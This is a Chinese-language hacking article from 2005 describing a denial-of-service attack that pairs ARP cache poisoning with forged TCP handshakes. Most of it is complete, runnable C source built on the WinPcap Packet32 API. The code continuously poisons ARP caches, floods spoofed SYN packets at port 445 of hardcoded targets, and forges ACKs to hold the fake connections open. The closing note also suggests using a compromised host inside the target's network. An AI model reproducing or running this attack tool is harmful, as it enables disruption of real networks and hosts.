基於ARP欺騙的TCP僞連接D.o.S

創建時間:2005-06-04 更新時間:2005-06-07
文章屬性:原創
文章提交:ffantasyYD (ffantasyyd_at_163.com)

從某種意義上說,如果能夠製造TCP僞連接,那麼D.o.S也就比較容易實現了。以前LionD8就曾經用這個思路做出了一個新型D.o.S,而今天,我用的也是這個思路。但是,如果直接僞造TCP三次握手而不作其他任何處理,那卻是不行的。因爲,當攻擊的目標主機接收到我們發過去的僞造的SYN包後會發回一個SYN+ACK包(也就是第二次握手)。而當我們的系統收到這個SYN+ACK包後,由於系統內並沒有發起真正的TCP連接,因此係統會發回一個RST包,這個包將使目標主機重置連接。這樣,這個僞連接就建立失敗了。要解決這個問題,辦法有不少,而我這裏要用的方法就是ARP欺騙。首先,我們要對目標主機進行ARP欺騙,讓它認爲我們是同一網段中的另一臺機器。然後我們就可以僞裝這臺機器向目標主機發起TCP僞連接了。這樣一來,即使目標主機返回一個SYN+ACK包,這個包也不會進入到我們的系統(因爲這個包的目的IP不會是我們而應該是我們僞裝的那臺主機的IP),這樣,我們的系統也不會向目標主機發送RST包了。打個比方,假設我們是主機A,現在我想要攻擊主機B。首先,我先僞裝主機C對B進行ARP欺騙(以C的IP地址和A的MAC地址構造ARP應答包發送到B),這樣,B的ARP緩存中就會記錄下C的IP對應A的MAC地址。然後,我們再以C的IP爲源IP構造SYN數據包,向B發起TCP僞連接。當B收到這個SYN包之後,它會構造一個SYN+ACK包發往C。但是,由於此時在B的ARP緩存中記錄着:C的IP對應A的MAC地址,因此,這個SYN+ACK包實際上被髮送到了A。雖然,這個包將被A的系統所丟棄(因爲這個包的目的IP是C的IP而不是A的IP,所以A的系統將會丟棄這個包),但是,我們仍然可以從鏈路層直接將這個數據幀獲取下來。得到了這個SYN+ACK包之後,我們需要再次僞裝C向B發回一個ACK包完成第三次握手。這樣,TCP初始化連接的三次握手都完成了,我們的僞連接也成功建立了!僞連接建立之後,我們還可以繼續向目標主機發送數據,來保證TCP連接的存活。這裏,有幾個需要注意的問題:首先,爲了保證攻擊過程中目標主機的ARP緩存不被更改,我們需要持續不斷的對其進行ARP欺騙;第二,爲了防止在攻擊過程中我們僞裝的主機向目標主機發起通信,刷新目標主機的ARP緩存,對我們的攻擊造成影響,我們還可以對僞裝主機也同時進行ARP欺騙,以增加攻擊成功的機率。好了,說了這麼多,下面就給出我實現的源代碼,歡迎大蝦們多多指教。

// DoS_By_ARPCheat.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "winsock2.h"
#include "Packet32.h"
#include "stdio.h"

#pragma comment(lib, "packet")
#pragma comment(lib, "ws2_32")

//下面幾個宏是測試用的主機的IP和MAC
#define SIMULATE_MAC "0011111d735a"     //僞裝主機的MAC地址
#define TARGET_MAC "001111c6f7fe"       //目的主機的MAC地址
#define LOCAL_MAC "00e06e41508f"        //本機MAC地址
#define TARGET_IP "211.83.97.24"        //目的主機的IP
#define SIMULATE_IP "211.83.97.16"      //僞裝主機的IP

#define NDIS_PACKET_TYPE_DIRECTED 0x0001 //直接模式

#pragma pack(push, 1)

struct ET_HEADER    //以太網頭部
{
    unsigned char   eh_dst[6]; 
    unsigned char   eh_src[6];
    unsigned short  eh_type;
};

struct ARP_HEADER   //ARP頭部
{
    unsigned short  arp_hdr;
    unsigned short  arp_pro;
    unsigned char   arp_hln;
    unsigned char   arp_pln;
    unsigned short  arp_opt;
    unsigned char   arp_sha[6];
    unsigned long   arp_spa;
    unsigned char   arp_tha[6];
    unsigned long   arp_tpa;
};

struct IP_HEADER          //IP頭部
{
    char m_ver_hlen;      //4位版本號,4位ip頭部長
    char m_tos;
    USHORT m_tlen;
    USHORT m_ident;
    USHORT m_flag_frag;     //3位標誌位(1位未用位,1位DF,1位MF),13位片斷偏移量
    char m_ttl;
    char m_protocol;
    USHORT m_cksum;
    ULONG m_sIP;
    ULONG m_dIP;
};

struct TCP_HEADER          //TCP頭部
{
    USHORT m_sport;
    USHORT m_dport;
    ULONG m_seq;
    ULONG m_ack;  
    char m_hlen_res4;              //4位tcp頭部長,6位保留的前4位
    char m_res2_flag;              //6位保留的後2位,6位標誌
    USHORT m_win;
    USHORT m_cksum;
    USHORT m_urp;
};

struct PSD_HEADER         //僞頭部,計算校驗和用
{
    ULONG m_saddr; //源地址
    ULONG m_daddr; //目的地址
    char m_mbz;
    char m_ptcl; //協議類型
    USHORT m_tcpl; //TCP長度
};

struct TCP_OPTION         //TCP選項,發起僞連接時要用來與對方協商
{
    USHORT unKnown;
    USHORT maxSegSize;     //MSS,以太網一般爲1460
    char no1;
    char no2;
    USHORT SACK;
};

struct CHEAT_ARP_INFO        //ARP欺騙線程的參數
{
    char simulateIP[20];
    char targetIP[20];
    char targetMAC[13];
};

#pragma pack(pop)

USHORT CheckSum(USHORT *buffer, int size);   //計算校驗和的函數
void StrToMac(char *str,char *mac);          //字符串轉換爲MAC地址
void ListenACK();                            //監聽函數,監聽對方的回包
void AssayAndSendData(LPPACKET lpPacket);    //分析數據幀併發送回包
DWORD WINAPI ArpCheat(void *pInfo);          //ARP欺騙線程
DWORD WINAPI SendSyn(void *no);              //發送SYN包的線程
void Info();                              

LPADAPTER lpAdapter=NULL;                    //適配器指針
USHORT ipID=1638;                            //IP標識
USHORT sourcePort=1056;                      //起始源端口
USHORT targetPort=445;                       //目的端口

int main(int argc, char* argv[])
{
    Info();

    WSADATA wsaData;
    if(WSAStartup(MAKEWORD(2,1), &wsaData)!=0)
    {
        printf("WSAStartup error!/n");
        return -1;
    }

    //打開適配器:
    WCHAR adapter_name[2048]={0};
    ULONG adapter_length=1024;
   
    //取得所有適配器的名字.
    if(PacketGetAdapterNames((char*)adapter_name, &adapter_length)==FALSE)
    {
        //adapter_name:一個用於存放適配器的名字的緩衝區
        //adapter_length:這個緩衝區的大小
        printf("PacketGetAdapterNames error:%d/n",GetLastError());
        return -1;
    }
   
    WCHAR *name1,*name2;
    ULONG i;
    static CHAR adapter_list[10][1024];

    name1=adapter_name;
    name2=adapter_name;
    i=0;
    //把adapter_name中的適配器名字,分別copy到adapter_list[]中,i從0開始爲第一個
    while((*name1!='/0') || (*(name1-1)!='/0'))
    {
        if(*name1=='/0')
        {
            memcpy(adapter_list[i],name2,2*(name1-name2));
            name2=name1+1;
            i++;
        }
        name1++;
    }

    //默認打開第一塊適配器
    lpAdapter=(LPADAPTER)PacketOpenAdapter((LPTSTR)adapter_list[0]);   
    if (!lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE))
    {
        printf("Unable to open the driver, Error Code : %lx/n", GetLastError());
        return -1;
    }

    //創建ARP欺騙線程:
    CHEAT_ARP_INFO info1={0},info2={0};
    memcpy(info1.simulateIP,SIMULATE_IP,strlen(SIMULATE_IP));
    memcpy(info1.targetIP,TARGET_IP,strlen(TARGET_IP));
    memcpy(info1.targetMAC,TARGET_MAC,strlen(TARGET_MAC));
    ::CreateThread(NULL,0,ArpCheat,&info1,0,NULL);

    memcpy(info2.simulateIP,TARGET_IP,strlen(TARGET_IP));
    memcpy(info2.targetIP,SIMULATE_IP,strlen(SIMULATE_IP));
    memcpy(info2.targetMAC,SIMULATE_MAC,strlen(SIMULATE_MAC));
    ::CreateThread(NULL,0,ArpCheat,&info2,0,NULL);
    Sleep(50);

    //發送TCP僞連接的SYN數據幀:
    ::CreateThread(NULL,0,SendSyn,NULL,0,NULL);

    ListenACK();      //循環監聽數據包
    PacketCloseAdapter(lpAdapter);  //關閉適配器
    ::WSACleanup();
    return 0;
}

DWORD WINAPI SendSyn(void *no)
{
    Sleep(100);

    while(TRUE)     //循環發送SYN包發起僞連接
    {
        char s_mac[6]={0},d_mac[6]={0};
        char sendSynBuf[128]={0};
        ET_HEADER et_header={0};
        IP_HEADER ip_header={0};
        TCP_HEADER tcp_header={0};
        TCP_OPTION tcp_option={0};
        PSD_HEADER psd_header={0};

        //填充以太頭部:
        StrToMac(LOCAL_MAC,s_mac);    //local_mac
        memcpy(et_header.eh_src,s_mac,6);
        StrToMac(TARGET_MAC,d_mac);    //dest_mac
        memcpy(et_header.eh_dst,d_mac,6);
        et_header.eh_type=htons(0x0800);  //類型爲0x0800表示這是IP包

        //填充IP頭部:
        ip_header.m_ver_hlen=(4<<4|5);
        ip_header.m_tos=0;
        ip_header.m_tlen=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)+sizeof(TCP_OPTION));
        ip_header.m_ident=htons(ipID++);
        ip_header.m_flag_frag=htons(16384); //設置爲不分片
        ip_header.m_ttl=128;
        ip_header.m_protocol=IPPROTO_TCP;   //高層協議爲TCP
        ip_header.m_cksum=0;
        ip_header.m_sIP=inet_addr(SIMULATE_IP);   //源IP填爲僞裝主機的IP
        ip_header.m_dIP=inet_addr(TARGET_IP);     //目的IP

        ip_header.m_cksum=CheckSum((USHORT *)&ip_header,sizeof(IP_HEADER));

        //填充TCP頭部以及TCP選項:
        tcp_header.m_dport=htons(targetPort);
        tcp_header.m_sport=htons(sourcePort++);
        tcp_header.m_seq=::GetTickCount();   //初始化序列號
        tcp_header.m_ack=0;
        tcp_header.m_hlen_res4=(((sizeof(TCP_HEADER)+sizeof(TCP_OPTION))/4)<<4);
        tcp_header.m_res2_flag=2;      //標識爲SYN包
        tcp_header.m_win=htons(16384);
        tcp_header.m_cksum=0;
        tcp_header.m_urp=0;

        tcp_option.unKnown=htons(516);
        tcp_option.maxSegSize=htons(1460);   //MSS,以太網一般爲1460
        tcp_option.no1=1;
        tcp_option.no2=1;
        tcp_option.SACK=htons(1026);

        //計算TCP校驗和:
        psd_header.m_daddr=ip_header.m_dIP;
        psd_header.m_saddr=ip_header.m_sIP;
        psd_header.m_mbz=0;
        psd_header.m_ptcl=IPPROTO_TCP;
        psd_header.m_tcpl=htons(sizeof(TCP_HEADER)+sizeof(TCP_OPTION));

        char tcpBuf[128]={0};
        memcpy(tcpBuf,&psd_header,sizeof(PSD_HEADER));
        memcpy(tcpBuf+sizeof(PSD_HEADER),&tcp_header,sizeof(TCP_HEADER));
        memcpy(tcpBuf+sizeof(PSD_HEADER)+sizeof(TCP_HEADER),&tcp_option,sizeof(TCP_OPTION));
        tcp_header.m_cksum=CheckSum((USHORT *)tcpBuf,sizeof(PSD_HEADER)+sizeof(TCP_HEADER)+sizeof(TCP_OPTION));

        //構造SYN數據幀:
        memcpy(sendSynBuf,&et_header,sizeof(ET_HEADER));
        memcpy(sendSynBuf+sizeof(ET_HEADER),&ip_header,sizeof(IP_HEADER));
        memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER),&tcp_header,sizeof(TCP_HEADER));
        memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER)+sizeof(TCP_HEADER),&tcp_option,sizeof(TCP_OPTION));

        //發送僞造的SYN包:
        LPPACKET lpPacket;
        lpPacket=PacketAllocatePacket();     //給PACKET結構指針分配內存
        PacketInitPacket(lpPacket,sendSynBuf,128);   //初始化PACKET結構指針

        if(PacketSetNumWrites(lpAdapter,1)==FALSE)   //設置發送次數
        {
            printf("Warning: Unable to send more than one packet in a single write!/n");
            continue;
        }

        if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE) 
        {
            printf("Error sending the packets!/n");
            continue;
        }
        PacketFreePacket(lpPacket);   //釋放PACKET結構指針
        Sleep(100);
    }
    return 0;
}

DWORD WINAPI ArpCheat(void *pInfo)
{
    CHEAT_ARP_INFO info={0};
    memcpy(&info,pInfo,sizeof(CHEAT_ARP_INFO));

    //僞造ARP應答包:
    char s_mac[6]={0},d_mac[6]={0};
    ET_HEADER et_header={0};
    ARP_HEADER arp_header={0};
    char buffer[64]={0};

    StrToMac(LOCAL_MAC,s_mac);    //源MAC地址
    memcpy(et_header.eh_src,s_mac,6);
    StrToMac(info.targetMAC,d_mac);    //目的MAC地址
    memcpy(et_header.eh_dst,d_mac,6);

    et_header.eh_type=htons(0x0806);  //類型爲0x0806表示這是ARP包

    arp_header.arp_hdr=htons(0x0001);  //硬件地址類型以太網地址
    arp_header.arp_pro=htons(0x0800);  //協議地址類型爲IP協議
    arp_header.arp_hln=6;              //硬件地址長度爲6
    arp_header.arp_pln=4;              //協議地址長度爲4
    arp_header.arp_opt=htons(0x0002);  //標識爲ARP應答

    arp_header.arp_spa=inet_addr(info.simulateIP);  //source_ip
    memcpy(arp_header.arp_sha,et_header.eh_src,6);
    arp_header.arp_tpa=inet_addr(info.targetIP);   //target_ip
    memcpy(arp_header.arp_tha,et_header.eh_dst,6);

    memcpy(buffer,&et_header,sizeof(ET_HEADER));
    memcpy(buffer+sizeof(ET_HEADER),&arp_header,sizeof(ARP_HEADER));

    //發送僞造地ARP應答包:
    LPPACKET lpPacket;
    lpPacket=PacketAllocatePacket();     //給PACKET結構指針分配內存
    PacketInitPacket(lpPacket,buffer,64);   //初始化PACKET結構指針

    if(PacketSetNumWrites(lpAdapter,1)==FALSE)   //設置發送次數
        printf("warning: Unable to send more than one packet in a single write!/n");
   
    while(TRUE)
    {
        if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE)//不斷髮送僞造的ARP應答包達到欺騙目標主機的目的
        {
            printf("Error sending the packets!/n");
            break;
        }
        Sleep(3000);
    }

    PacketFreePacket(lpPacket);   //釋放PACKET結構指針
    return 0;
}

void ListenACK()
{
    LPPACKET lpPacket;
    char recvBuf[512]={0};

    PacketSetHwFilter(lpAdapter, NDIS_PACKET_TYPE_DIRECTED);   //設置網卡爲直接模式
    PacketSetBuff(lpAdapter,1024);     //設置網卡接收數據包的緩衝區大小
    PacketSetReadTimeout(lpAdapter,2);   //設置接收到一個包後的“休息”時間

    while(TRUE)
    {
        lpPacket=PacketAllocatePacket();    //給PACKET結構指針分配內存
        PacketInitPacket(lpPacket,recvBuf,512);    //初始化PACKET結構指針

        if(PacketReceivePacket(lpAdapter,lpPacket,TRUE)==TRUE)   //接收數據幀
            AssayAndSendData(lpPacket);        //分析數據包併發送ACK包
        else
            printf("Recv Error!/n");

        //每次收包後重置lpPacket:
        PacketFreePacket(lpPacket);
        memset(recvBuf,0,512);
        Sleep(10);
    }

    PacketFreePacket(lpPacket);   //釋放lpPacket
    return;
}

USHORT CheckSum(USHORT *buffer, int size)
{
    unsigned long cksum=0;
    while(size >1)
    {
        cksum+=*buffer++;
        size -=sizeof(USHORT);
    }
    if(size)
        cksum += *(UCHAR*)buffer;

    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >>16);
    return (USHORT)(~cksum);
}

void StrToMac(char *str,char *mac)  //自定義的將字符串轉換成mac地址的函數
{
    char *str1;
    int i;
    int low,high;
    char temp;

    for(i=0;i<6;i++)
    {
        str1=str+1;
        switch(*str)
        {
        case 'a':high=10;
                 break;
        case 'b':high=11;
                 break;
        case 'c':high=12;
                 break;
        case 'd':high=13;
                 break;
        case 'e':high=14;
                 break;
        case 'f':high=15;
                 break;
        default:temp=*str;
                high=atoi(&temp);
        }
        switch(*str1)
        {
        case 'a':low=10;
                 break;
        case 'b':low=11;
                 break;
        case 'c':low=12;
                 break;
        case 'd':low=13;
                 break;
        case 'e':low=14;
                 break;
        case 'f':low=15;
                 break;
        default:temp=*str1;
                low=atoi(&temp);
        }
        mac[i]=high*16+low;
        str+=2;
    }
}

void AssayAndSendData(LPPACKET lpPacket)
{
    char *buf;
    bpf_hdr *lpBpfhdr;
    ET_HEADER *lpEthdr;
    in_addr addr={0};

    buf=(char *)lpPacket->Buffer;
    lpBpfhdr=(bpf_hdr *)buf;
    lpEthdr=(ET_HEADER *)(buf+lpBpfhdr->bh_hdrlen);
    if(lpEthdr->eh_type==htons(0x0800))     //判斷是否爲IP包
    {
        IP_HEADER *lpIphdr=(IP_HEADER *)(buf+lpBpfhdr->bh_hdrlen+sizeof(ET_HEADER));

        if( ( inet_addr(SIMULATE_IP)==lpIphdr->m_dIP ) && ( inet_addr(TARGET_IP)==lpIphdr->m_sIP )
          && (lpIphdr->m_protocol==IPPROTO_TCP) )   //判斷所收到的數據包的傳輸層協議、源及目的IP
        {
            TCP_HEADER *lpTcphdr=(TCP_HEADER *)(buf+lpBpfhdr->bh_hdrlen+sizeof(ET_HEADER)
            +sizeof(IP_HEADER));

            if( ( (lpTcphdr->m_res2_flag & 0x10)!=0 ) && ( lpTcphdr->m_win!=0 ) )
            //判斷是否爲帶ACK標記的包並判斷目標主機接收窗口是否已爲0
            {
                char s_mac[6]={0},d_mac[6]={0};
                char sendSynBuf[128]={0};
                char *data="ffantasyYD";
                ET_HEADER et_header={0};
                IP_HEADER ip_header={0};
                TCP_HEADER tcp_header={0};
                PSD_HEADER psd_header={0};

                StrToMac(LOCAL_MAC,s_mac);    //local_mac
                memcpy(et_header.eh_src,s_mac,6);
                StrToMac(TARGET_MAC,d_mac);    //dest_mac
                memcpy(et_header.eh_dst,d_mac,6);
                et_header.eh_type=htons(0x0800);  //類型爲0x0800表示這是IP包

                ip_header.m_ver_hlen=(4<<4|5);
                ip_header.m_tos=0;
                ip_header.m_tlen=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)+strlen(data));
                ip_header.m_ident=htons(ipID++);
                ip_header.m_flag_frag=htons(16384); //設置爲不分片
                ip_header.m_ttl=128;
                ip_header.m_protocol=IPPROTO_TCP;   //高層協議爲TCP
                ip_header.m_cksum=0;
                ip_header.m_sIP=inet_addr(SIMULATE_IP);
                ip_header.m_dIP=inet_addr(TARGET_IP);

                ip_header.m_cksum=CheckSum((USHORT *)&ip_header,sizeof(IP_HEADER));

                tcp_header.m_dport=lpTcphdr->m_sport;
                tcp_header.m_sport=lpTcphdr->m_dport;
                tcp_header.m_seq=lpTcphdr->m_ack;        //序列號爲接收到包的ack號
                if(lpTcphdr->m_res2_flag==0x12)    //若收到的包是SYN+ACK包,則ACK號爲接收到包的序列號加1
                    tcp_header.m_ack=htonl(ntohl(lpTcphdr->m_seq)+1);  
                else      //若收到的包不是SYN+ACK包,則ACK號爲接收到包的序列號加上包的數據部分長度
                    tcp_header.m_ack=htonl(ntohl(lpTcphdr->m_seq)+ntohs(lpIphdr->m_tlen)-40);

                tcp_header.m_hlen_res4=((sizeof(TCP_HEADER)/4)<<4);
                tcp_header.m_res2_flag=0x10;       //設置爲ACK包
                tcp_header.m_win=lpTcphdr->m_win;
                tcp_header.m_cksum=0;
                tcp_header.m_urp=0;

                psd_header.m_daddr=ip_header.m_dIP;
                psd_header.m_saddr=ip_header.m_sIP;
                psd_header.m_mbz=0;
                psd_header.m_ptcl=IPPROTO_TCP;
                psd_header.m_tcpl=htons(sizeof(TCP_HEADER)+strlen(data));

                char tcpBuf[128]={0};
                memcpy(tcpBuf,&psd_header,sizeof(PSD_HEADER));
                memcpy(tcpBuf+sizeof(PSD_HEADER),&tcp_header,sizeof(TCP_HEADER));
                memcpy(tcpBuf+sizeof(PSD_HEADER)+sizeof(TCP_HEADER),data,strlen(data));
                tcp_header.m_cksum=CheckSum((USHORT *)tcpBuf,sizeof(PSD_HEADER)+sizeof(TCP_HEADER)+strlen(data));

                memcpy(sendSynBuf,&et_header,sizeof(ET_HEADER));
                memcpy(sendSynBuf+sizeof(ET_HEADER),&ip_header,sizeof(IP_HEADER));
                memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER),&tcp_header,sizeof(TCP_HEADER));
                memcpy(sendSynBuf+sizeof(ET_HEADER)+sizeof(IP_HEADER)+sizeof(TCP_HEADER),data,strlen(data));

                //發送僞造的ACK包:
                LPPACKET lpSendPacket;
                lpSendPacket=PacketAllocatePacket();     //給PACKET結構指針分配內存
                PacketInitPacket(lpSendPacket,sendSynBuf,128);   //初始化PACKET結構指針

                if(PacketSetNumWrites(lpAdapter,1)==FALSE)   //設置發送次數
                {
                    printf("Warning: Unable to send more than one packet in a single write!/n");
                    return;
                }

                if(PacketSendPacket(lpAdapter,lpSendPacket,TRUE)==FALSE) 
                {
                    printf("Error sending the packets!/n");
                    return;
                }
                PacketFreePacket(lpSendPacket);   //釋放PACKET結構指針
            }
        }
    }
    return;
}

void Info()
{
    printf("********************************/n");
    printf("*    Made by ffantasyYD        */n");
    printf("*    QQ:76889713               */n");
    printf("*    Email:[email protected]  */n");
    printf("*    http://ffantasyyd.126.com/ */n");
    printf("********************************/n");
}

 注:由於以上代碼是我測試用的,因此顯得不太便於使用,很多信息都是我自己去獲取後直接寫進程序裏的,
 比如目標主機的MAC地址等,這些都需要測試者自己修改。另外,這種D.o.S存在着一個侷限性,那就是目標
 主機必須跟我們的主機處於同一個二層網絡內。但是,我們可以利用一些方法來克服這種侷限性,比如,我
 們可以在目標主機的網絡內找一臺肉雞,這樣,我們就只需要控制那臺肉雞進行攻擊就行了。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章